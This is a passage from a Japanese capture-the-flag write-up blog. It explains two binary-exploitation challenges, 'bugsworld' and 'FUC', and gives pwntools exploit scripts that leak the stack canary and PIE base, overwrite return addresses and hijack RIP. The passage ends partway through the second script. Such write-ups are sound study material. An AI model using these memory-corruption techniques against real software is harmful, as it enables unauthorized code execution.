...</span></span></code></pre><h3 id="ripnoduo-qu">RIPの奪取</h3> <p>VMは一旦入力を受け取ってそれをサニタイズしたら<code>bytecode[state.pc] != INSTRUCTION_HALT</code>である限り実行を続けます。</p> <p><code>INSTRUCTION_HALT</code>は受け取った命令の最後に挿入されます。 すなわちこれを超えることが出来ればその後ろの非サニタイズ済みな命令を実行することができるというわけです。</p> <p><code>INSTRUCTION_HALT</code>を超えるために使えそうなパスとして<code>dont_jump</code>関数があります。 これを我々が呼び出せる最後の命令で実行できれば<code>INSTRUCTION_HALT</code>のbypassができそうです。</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="c"><span class="giallo-l"><span style="color: #F97583;">void</span><span style="color: #B392F0;"> dont_jump</span><span>(State </span><span style="color: #F97583;">*</span><span style="color: #FFAB70;">state</span><span>) {</span></span> <span class="giallo-l"><span> state-&gt;pc</span><span style="color: #F97583;">++</span><span>;</span></span> <span class="giallo-l"><span> state-&gt;pc</span><span style="color: #F97583;">++</span><span>;</span></span> <span class="giallo-l"><span>}</span></span></code></pre> <p>これは<code>do_jump_if_not_next_is_empty</code>から呼び出すことができます。</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="c"><span class="giallo-l"><span style="color: #F97583;">void</span><span style="color: #B392F0;"> do_jump_if_not_next_is_empty</span><span>(State </span><span style="color: #F97583;">*</span><span style="color: #FFAB70;">state</span><span>) {</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> (</span><span style="color: #B392F0;">next_is_out_of_bounds</span><span>(state))</span></span> <span class="giallo-l"><span style="color: #B392F0;"> do_jump</span><span>(state);</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span></span> <span class="giallo-l"><span style="color: #B392F0;"> dont_jump</span><span>(state);</span></span> <span class="giallo-l"><span>}</span></span></code></pre><h2 id="gong-ji">攻撃</h2> <p>呼び出しは以下のコードで行われます。</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="c"><span class="giallo-l"><span style="color: #FFAB70;"> instruction_table</span><span>[</span><span style="color: #FFAB70;">bytecode</span><span>[state.pc]](</span><span style="color: #F97583;">&amp;</span><span>state);</span></span></code></pre> <p><code>bytecode[state.pc]</code>は任意の値にすることができるので <code>getFlag</code> のアドレスをメモリ上のいずれかに置き、 <code>instruction_table</code> からのオフセットを設定することでRIPが奪取できます。</p> <h2 id="sukuriputo">スクリプト</h2> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="python"><span class="giallo-l"><span style="color: #F97583;">from</span><span> pwn</span><span style="color: #F97583;"> import *</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>context.arch</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;amd64&quot;</span></span> <span class="giallo-l"><span>context.bits</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 64</span></span> <span class="giallo-l"><span>context.terminal</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;tmux splitw -h&quot;</span><span>.split()</span></span> <span class="giallo-l"><span>context.log_level</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;DEBUG&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>s2sh</span><span style="color: #F97583;"> = lambda</span><span> pl:</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;&quot;</span><span>.join([p8(</span><span style="color: #79B8FF;">int</span><span>(pl[i : i</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 2</span><span>],</span><span style="color: #79B8FF;"> 16</span><span>))</span><span style="color: #F97583;"> for</span><span> i</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(</span><span style="color: #79B8FF;">0</span><span>,</span><span style="color: #79B8FF;"> len</span><span>(pl),</span><span style="color: #79B8FF;"> 2</span><span>)])</span></span> <span class="giallo-l"><span>s2u64</span><span style="color: #F97583;"> = lambda</span><span> s: u64(s.ljust(</span><span style="color: #79B8FF;">8</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">\x00</span><span style="color: #9ECBFF;">&quot;</span><span>))</span></span> <span class="giallo-l"><span>i2b</span><span style="color: #F97583;"> = lambda</span><span> x:</span><span style="color: #F97583;"> f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>.encode()</span></span> <span class="giallo-l"><span>ptr_guard</span><span style="color: #F97583;"> = lambda</span><span> pos, ptr: (pos</span><span style="color: #F97583;"> &gt;&gt;</span><span style="color: #79B8FF;"> 12</span><span>)</span><span style="color: #F97583;"> ^</span><span> ptr</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_MOVE</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_TURNLEFT</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 1</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_TURNRIGHT</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 2</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_INFECT</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 3</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_SKIP</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 4</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_HALT</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 5</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_JUMP</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 6</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_JUMP_IF_NOT_NEXT_IS_EMPTY</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 7</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_JUMP_IF_NOT_NEXT_IS_NOT_EMPTY</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 8</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_JUMP_IF_NOT_NEXT_IS_WALL</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 9</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_JUMP_IF_NOT_NEXT_IS_NOT_WALL</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 10</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_JUMP_IF_NOT_NEXT_IS_FRIEND</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 11</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_JUMP_IF_NOT_NEXT_IS_NOT_FRIEND</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 12</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_JUMP_IF_NOT_NEXT_IS_ENEMY</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 13</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_JUMP_IF_NOT_NEXT_IS_NOT_ENEMY</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 14</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_JUMP_IF_NOT_RANDOM</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 15</span></span> <span class="giallo-l"><span style="color: #79B8FF;">INSTRUCTION_JUMP_IF_NOT_TRUE</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 16</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> create_io</span><span>() -&gt; tubes.tube.tube:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if not</span><span> local:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> remote(remote_addr,</span><span style="color: #79B8FF;"> int</span><span>(remote_port))</span></span> <span class="giallo-l"><span style="color: #F97583;"> elif</span><span> debug:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> radare:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process(elf_name,</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span> util.proc.wait_for_debugger(util.proc.pidof(io)[</span><span style="color: #79B8FF;">0</span><span>])</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> gdb.debug(</span></span> <span class="giallo-l"><span> elf_name, script,</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name}</span></span> <span class="giallo-l"><span> )</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process(elf_name,</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> io</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> solve</span><span>():</span></span> <span class="giallo-l"><span style="color: #F97583;"> global</span><span> t</span></span> <span class="giallo-l"><span> sa</span><span style="color: #F97583;"> = lambda</span><span> x, y: t.sendafter(x, y)</span></span> <span class="giallo-l"><span> sla</span><span style="color: #F97583;"> = lambda</span><span> x, y: t.sendlineafter(x, y)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&quot;bytecode?</span><span style="color: #79B8FF;">\n</span><span style="color: #9ECBFF;">&gt; &quot;</span><span>, i2b(</span><span style="color: #79B8FF;">3</span><span>))</span></span> <span class="giallo-l"><span> t.sendline(i2b(</span><span style="color: #79B8FF;">INSTRUCTION_HALT</span><span>))</span></span> <span class="giallo-l"><span> t.sendline(i2b(</span><span style="color: #79B8FF;">INSTRUCTION_SKIP</span><span>))</span></span> <span class="giallo-l"><span> t.sendline(i2b(</span><span style="color: #79B8FF;">255</span><span>))</span></span> <span class="giallo-l"><span> buf</span><span style="color: #F97583;"> =</span><span> t.recvuntil(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&quot;Invalid instruction&quot;</span><span>)[:</span><span style="color: #F97583;"> -</span><span style="color: #79B8FF;">len</span><span>(</span><span style="color: #9ECBFF;">&quot;Invalid instruction&quot;</span><span>)]</span></span> <span class="giallo-l"><span> buf</span><span style="color: #F97583;"> =</span><span> buf[buf.find(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&quot;SKIP&quot;</span><span>)</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 5</span><span> :]</span></span> <span class="giallo-l"><span> pie_base</span><span style="color: #F97583;"> =</span><span> s2u64(buf)</span><span style="color: #F97583;"> - 0x</span><span style="color: #79B8FF;">134D</span></span> <span class="giallo-l"><span> success(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>pie_base</span><span style="color: #F97583;">=:x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>)</span></span> <span class="giallo-l"><span style="color: #F97583;"> assert not</span><span> pie_base</span><span style="color: #F97583;"> &amp; 0x</span><span style="color: #79B8FF;">FFF</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&quot;bytecode?</span><span style="color: #79B8FF;">\n</span><span style="color: #9ECBFF;">&gt; &quot;</span><span>, i2b(</span><span style="color: #79B8FF;">4</span><span>))</span></span> <span class="giallo-l"><span> t.sendline(i2b(</span><span style="color: #79B8FF;">INSTRUCTION_SKIP</span><span>))</span></span> <span class="giallo-l"><span> t.sendline(i2b(</span><span style="color: #79B8FF;">INSTRUCTION_SKIP</span><span>))</span></span> <span class="giallo-l"><span> t.sendline(i2b(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">D8</span><span style="color: #F97583;"> //</span><span style="color: #79B8FF;"> 8</span><span>))</span></span> <span class="giallo-l"><span> t.sendline(i2b(pie_base</span><span style="color: #F97583;"> +</span><span> elf.sym[</span><span style="color: #9ECBFF;">&quot;win&quot;</span><span>]))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&quot;bytecode?</span><span style="color: #79B8FF;">\n</span><span style="color: #9ECBFF;">&gt; &quot;</span><span>, i2b(</span><span style="color: #79B8FF;">1</span><span>))</span></span> <span class="giallo-l"><span> t.sendline(i2b(</span><span style="color: #79B8FF;">INSTRUCTION_JUMP_IF_NOT_NEXT_IS_EMPTY</span><span>))</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> t.interactive()</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span>local</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"><span>debug</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"><span>radare</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 0</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>elf_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;./bugsworld&quot;</span></span> <span class="giallo-l"><span>libc_name</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;./libc.so.6&quot;</span></span> <span class="giallo-l"><span style="color: #6A737D;"># remote_addr, remote_port = &quot;localhost 60001&quot;.split()</span></span> <span class="giallo-l"><span>remote_addr, remote_port</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;chall.pwnoh.io 13382&quot;</span><span>.split()</span></span> <span class="giallo-l"><span>elf:</span><span style="color: #79B8FF;"> ELF</span><span style="color: #F97583;"> =</span><span> ELF(elf_name)</span></span> <span class="giallo-l"><span>libc:</span><span style="color: #79B8FF;"> ELF</span><span style="color: #F97583;"> =</span><span> ELF(libc_name)</span></span> <span class="giallo-l"><span>script</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;&quot;&quot;</span></span> <span class="giallo-l"><span style="color: #9ECBFF;">b *run_program+537</span></span> <span class="giallo-l"><span style="color: #9ECBFF;">&quot;&quot;&quot;</span></span> <span class="giallo-l"><span>t</span><span style="color: #F97583;"> =</span><span> create_io()</span></span> <span class="giallo-l"><span>solve()</span></span></code></pre> <p><code>flag:bctf{7h3_w0rld_15_fu11_0f_bu65_295c62b69}</code></p> <h1 id="pwn-fuc">[pwn] FUC</h1> <h2 id="fen-xi-1">分析</h2> <p>0x18Fの正方形の盤面上をwasdで自由に動けます。 この盤面の内1つがあたりのマスとなっていて、そこに動くことでフラグを得ることができます。 ただしトラップのマスも用意されており、そのマスを踏むとプログラムが終了してしまうので、どうにかしてそのマスにたどり着くことが出来ればフラグが得られます。</p> <p>まず、バイナリの確認をします。セキュリティ機構はすべてオンになっています。</p> <ul> <li>Full RELRO</li> <li>Canary found</li> <li>NX enabled</li> <li>PIE enabled</li> </ul> <h2 id="cui-ruo-xing-1">脆弱性</h2> <p>頑張ってリバーシングをします。</p> <p>その結果、あたりのマスは盤面の四隅にある0x19の正方形内に存在し、最初にスポーンする位置は <code>0x25 &lt;= x,y &lt;= 0x183</code> であることがわかりました。 加えて2つの脆弱性を見つけました。</p> <ol> <li>srand(time(0))</li> <li>移動方向入力時のBoF</li> </ol> <p>あたりのマスは<code>random</code>関数を使って決定されているため、そのシード値が分かればあたりのマスの位置を知ることができます。 しかしマスの初期化フェーズでは0x10000回以上<code>random</code>関数が呼ばれており、更にその中には<code>random</code>関数の値によって<code>random</code> 関数の呼び出し回数が変わるパスもありこの手法は断念しました。</p> <p>次に移動方向入力時のBoFですが、<code>sub_2F7A</code>において<code>rbp-0xD</code>に存在する変数に対して0x25byteの入力が行える脆弱性があります。 これを用いてleakとトラップからの復帰を行います。</p> <h3 id="canary-pie-base-leak">canary &amp; PIE base leak</h3> <p>canaryは<code>rbp-0x8</code>に存在しており、その1byte目は\x00なので、無効な文字を7文字入力してあげるとleakすることができます。 <div class="inserted_img"> <img src="https:&#x2F;&#x2F;blog.rqda.wtf&#x2F;processed_images&#x2F;img.8b89d3a20312c371.png" alt=""/> <p>canary leak</p></div> </p> <p>同様にreturn addressも無効な文字を13文字入力するとleakすることができます。 <div class="inserted_img"> <img src="https:&#x2F;&#x2F;blog.rqda.wtf&#x2F;processed_images&#x2F;img1.73711ade2503a654.png" alt=""/> <p>PIE base leak</p></div> </p> <h3 id="toratupukaranofu-gui">トラップからの復帰</h3> <p>ret overwriteを使ってメニュー画面に飛ぶようにするとトラップからの復帰を行えます。 具体的には以下のようなコードを使いました。</p> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="python"><span class="giallo-l"><span>loop_addr</span><span style="color: #F97583;"> =</span><span> p64(pie_base</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">2F7A</span><span>)</span></span> <span class="giallo-l"><span>ret</span><span style="color: #F97583;"> =</span><span> p64(pie_base</span><span style="color: #F97583;"> + 0x</span><span style="color: #79B8FF;">12B8</span><span>)</span></span> <span class="giallo-l"><span>t.send(dist</span><span style="color: #F97583;"> + b</span><span style="color: #9ECBFF;">&quot;A&quot;</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 4</span><span style="color: #F97583;"> +</span><span> p64(canary)</span><span style="color: #F97583;"> +</span><span> fake_rbp</span><span style="color: #F97583;"> +</span><span> ret</span><span style="color: #F97583;"> +</span><span> loop_addr)</span></span></code></pre> <p>以下の画像では、終了メッセージである<code>it is crushing</code>のあとも実行が続いていることを確認できます。 <div class="inserted_img"> <img src="https:&#x2F;&#x2F;blog.rqda.wtf&#x2F;processed_images&#x2F;img2.196c2f95a7215d2f.png" alt=""/> <p>トラップからの復帰</p></div> </p> <h2 id="gong-ji-1">攻撃</h2> <p>以下の手順で解きました。</p> <ol> <li>x,yの取得</li> <li>canary, stack base, pie baseのleak</li> <li>四隅の内最も近いところまで移動</li> <li>0x19の正方形をすべて探索</li> </ol> <p>注意点として、非本質的なところですがサーバーとの接続は20秒で切れてしまうため<code>recvuntil</code> などを用いて逐次的に命令を実行するのではなく、<code>recv</code>でレスポンスをまとめて受け取ると良いです。</p> <div class="inserted_img"> <img src="https:&#x2F;&#x2F;blog.rqda.wtf&#x2F;processed_images&#x2F;img3.916cc4460c5431f5.png" alt=""/> <p>必要な値のleak</p></div> <h2 id="sukuriputo-1">スクリプト</h2> <pre class="giallo" style="color: #E1E4E8; background-color: #24292E;"><code data-lang="python"><span class="giallo-l"><span style="color: #F97583;">from</span><span> pwn</span><span style="color: #F97583;"> import *</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>context.arch</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;amd64&quot;</span></span> <span class="giallo-l"><span>context.bits</span><span style="color: #F97583;"> =</span><span style="color: #79B8FF;"> 64</span></span> <span class="giallo-l"><span>context.terminal</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;tmux splitw -h&quot;</span><span>.split()</span></span> <span class="giallo-l"><span>context.log_level</span><span style="color: #F97583;"> =</span><span style="color: #9ECBFF;"> &quot;DEBUG&quot;</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span>s2sh</span><span style="color: #F97583;"> = lambda</span><span> pl:</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;&quot;</span><span>.join([p8(</span><span style="color: #79B8FF;">int</span><span>(pl[i : i</span><span style="color: #F97583;"> +</span><span style="color: #79B8FF;"> 2</span><span>],</span><span style="color: #79B8FF;"> 16</span><span>))</span><span style="color: #F97583;"> for</span><span> i</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(</span><span style="color: #79B8FF;">0</span><span>,</span><span style="color: #79B8FF;"> len</span><span>(pl),</span><span style="color: #79B8FF;"> 2</span><span>)])</span></span> <span class="giallo-l"><span>s2u64</span><span style="color: #F97583;"> = lambda</span><span> s: u64(s.ljust(</span><span style="color: #79B8FF;">8</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">\x00</span><span style="color: #9ECBFF;">&quot;</span><span>))</span></span> <span class="giallo-l"><span>i2b</span><span style="color: #F97583;"> = lambda</span><span> x:</span><span style="color: #F97583;"> f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>.encode()</span></span> <span class="giallo-l"><span>ptr_guard</span><span style="color: #F97583;"> = lambda</span><span> pos, ptr: (pos</span><span style="color: #F97583;"> &gt;&gt;</span><span style="color: #79B8FF;"> 12</span><span>)</span><span style="color: #F97583;"> ^</span><span> ptr</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> create_io</span><span>() -&gt; tubes.tube.tube:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if not</span><span> local:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> remote(remote_addr,</span><span style="color: #79B8FF;"> int</span><span>(remote_port))</span></span> <span class="giallo-l"><span style="color: #F97583;"> elif</span><span> debug:</span></span> <span class="giallo-l"><span style="color: #F97583;"> if</span><span> radare:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process(elf_name,</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name})</span></span> <span class="giallo-l"><span> util.proc.wait_for_debugger(util.proc.pidof(io)[</span><span style="color: #79B8FF;">0</span><span>])</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> gdb.debug(</span></span> <span class="giallo-l"><span> [elf_name,</span><span style="color: #9ECBFF;"> &quot;bctf</span><span style="color: #79B8FF;">{REDUCTED}</span><span style="color: #9ECBFF;">&quot;</span><span>], script,</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name}</span></span> <span class="giallo-l"><span> )</span></span> <span class="giallo-l"><span style="color: #F97583;"> else</span><span>:</span></span> <span class="giallo-l"><span> io: tubes.tube.tube</span><span style="color: #F97583;"> =</span><span> process(</span></span> <span class="giallo-l"><span> [elf_name,</span><span style="color: #9ECBFF;"> &quot;bctf</span><span style="color: #79B8FF;">{REDUCTED}</span><span style="color: #9ECBFF;">&quot;</span><span>],</span><span style="color: #FFAB70;"> env</span><span style="color: #F97583;">=</span><span>{</span><span style="color: #9ECBFF;">&quot;LD_PRELOAD&quot;</span><span>: libc_name}</span></span> <span class="giallo-l"><span> )</span></span> <span class="giallo-l"><span style="color: #F97583;"> return</span><span> io</span></span> <span class="giallo-l"></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;">def</span><span style="color: #B392F0;"> solve</span><span>():</span></span> <span class="giallo-l"><span style="color: #F97583;"> global</span><span> t</span></span> <span class="giallo-l"><span> sa</span><span style="color: #F97583;"> = lambda</span><span> x, y: t.sendafter(x, y)</span></span> <span class="giallo-l"><span> sla</span><span style="color: #F97583;"> = lambda</span><span> x, y: t.sendlineafter(x, y)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> def</span><span style="color: #B392F0;"> safe_move</span><span>(dist:</span><span style="color: #79B8FF;"> bytes</span><span>):</span></span> <span class="giallo-l"><span> msg</span><span style="color: #F97583;"> =</span><span> dist</span><span style="color: #F97583;"> + b</span><span style="color: #9ECBFF;">&quot;A&quot;</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 4</span><span style="color: #F97583;"> +</span><span> p64(canary)</span><span style="color: #F97583;"> +</span><span> fake_rbp</span><span style="color: #F97583;"> +</span><span> ret</span><span style="color: #F97583;"> +</span><span> loop_addr</span></span> <span class="giallo-l"><span style="color: #F97583;"> if b</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">\x0a</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #F97583;"> in</span><span> msg:</span></span> <span class="giallo-l"><span style="color: #F97583;"> raise</span><span style="color: #79B8FF;"> Exception</span><span>(</span><span style="color: #9ECBFF;">&quot;invalid bytes. try again.&quot;</span><span>)</span></span> <span class="giallo-l"><span> t.send(msg)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #F97583;"> def</span><span style="color: #B392F0;"> do_search</span><span>():</span></span> <span class="giallo-l"><span> info(</span><span style="color: #F97583;">f</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">{</span><span>x</span><span style="color: #F97583;">=:x</span><span style="color: #79B8FF;">} {</span><span>y</span><span style="color: #F97583;">=:x</span><span style="color: #79B8FF;">}</span><span style="color: #9ECBFF;">&quot;</span><span>)</span></span> <span class="giallo-l"><span style="color: #F97583;"> assert</span><span> x</span><span style="color: #F97583;"> == 0x</span><span style="color: #79B8FF;">18</span><span style="color: #F97583;"> or</span><span> x</span><span style="color: #F97583;"> == 0x</span><span style="color: #79B8FF;">177</span></span> <span class="giallo-l"><span style="color: #F97583;"> assert</span><span> y</span><span style="color: #F97583;"> == 0x</span><span style="color: #79B8FF;">18</span><span style="color: #F97583;"> or</span><span> y</span><span style="color: #F97583;"> == 0x</span><span style="color: #79B8FF;">177</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span> x_dist</span><span style="color: #F97583;"> = b</span><span style="color: #9ECBFF;">&quot;a&quot;</span><span style="color: #F97583;"> if</span><span> x</span><span style="color: #F97583;"> == 0x</span><span style="color: #79B8FF;">18</span><span style="color: #F97583;"> else b</span><span style="color: #9ECBFF;">&quot;d&quot;</span></span> <span class="giallo-l"><span> y_dist</span><span style="color: #F97583;"> = b</span><span style="color: #9ECBFF;">&quot;w&quot;</span><span style="color: #F97583;"> if</span><span> y</span><span style="color: #F97583;"> == 0x</span><span style="color: #79B8FF;">18</span><span style="color: #F97583;"> else b</span><span style="color: #9ECBFF;">&quot;s&quot;</span></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span> _</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">18</span><span>):</span></span> <span class="giallo-l"><span style="color: #F97583;"> for</span><span> _</span><span style="color: #F97583;"> in</span><span style="color: #79B8FF;"> range</span><span>(</span><span style="color: #F97583;">0x</span><span style="color: #79B8FF;">18</span><span>):</span></span> <span class="giallo-l"><span> safe_move(y_dist)</span></span> <span class="giallo-l"><span> y_dist</span><span style="color: #F97583;"> = b</span><span style="color: #9ECBFF;">&quot;w&quot;</span><span style="color: #F97583;"> if</span><span> y_dist</span><span style="color: #F97583;"> == b</span><span style="color: #9ECBFF;">&quot;s&quot;</span><span style="color: #F97583;"> else b</span><span style="color: #9ECBFF;">&quot;s&quot;</span></span> <span class="giallo-l"><span> safe_move(x_dist)</span></span> <span class="giallo-l"><span> buf</span><span style="color: #F97583;"> =</span><span> t.recv()</span></span> <span class="giallo-l"><span style="color: #F97583;"> if b</span><span style="color: #9ECBFF;">&quot;bctf&quot;</span><span style="color: #F97583;"> in</span><span> buf:</span></span> <span class="giallo-l"><span> success(</span><span style="color: #9ECBFF;">&quot;Flag Found!!&quot;</span><span>)</span></span> <span class="giallo-l"><span style="color: #79B8FF;"> input</span><span>(</span><span style="color: #9ECBFF;">&quot;...&quot;</span><span>)</span></span> <span class="giallo-l"><span style="color: #F97583;"> raise</span><span style="color: #79B8FF;"> Exception</span><span>(</span><span style="color: #9ECBFF;">&quot;no flag found here&quot;</span><span>)</span></span> <span class="giallo-l"></span> <span class="giallo-l"><span style="color: #6A737D;"> # leak canary &amp; rbp</span></span> <span class="giallo-l"><span> sla(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&quot;)</span><span style="color: #79B8FF;">\n</span><span style="color: #9ECBFF;">&quot;</span><span>,</span><span style="color: #F97583;"> b</span><span style="color: #9ECBFF;">&quot;A&quot;</span><span style="color: #F97583;"> *</span><span style="color: #79B8FF;"> 6</span><span>)</span></span> <span class="giallo-l"><span> buf</span><span style="color: #F97583;"> =</span><span> t.recvuntil(</span><span style="color: #F97583;">b</span><span style="color: #9ECBFF;">&quot;</span><span style="color: #79B8FF;">\n</span><span style="color: #9ECBFF;">(&quot;</span><span>)[:</span><span style="color: #F97583;">-</span><span style="color: #79B8FF;">2</span><span>]</span></span> <span class="giallo-l"><span> buf</span><span style="color: #F97583;"> =</span><span> buf[buf.find(</span><span style="color: #F97583;">b</span><span style="color: 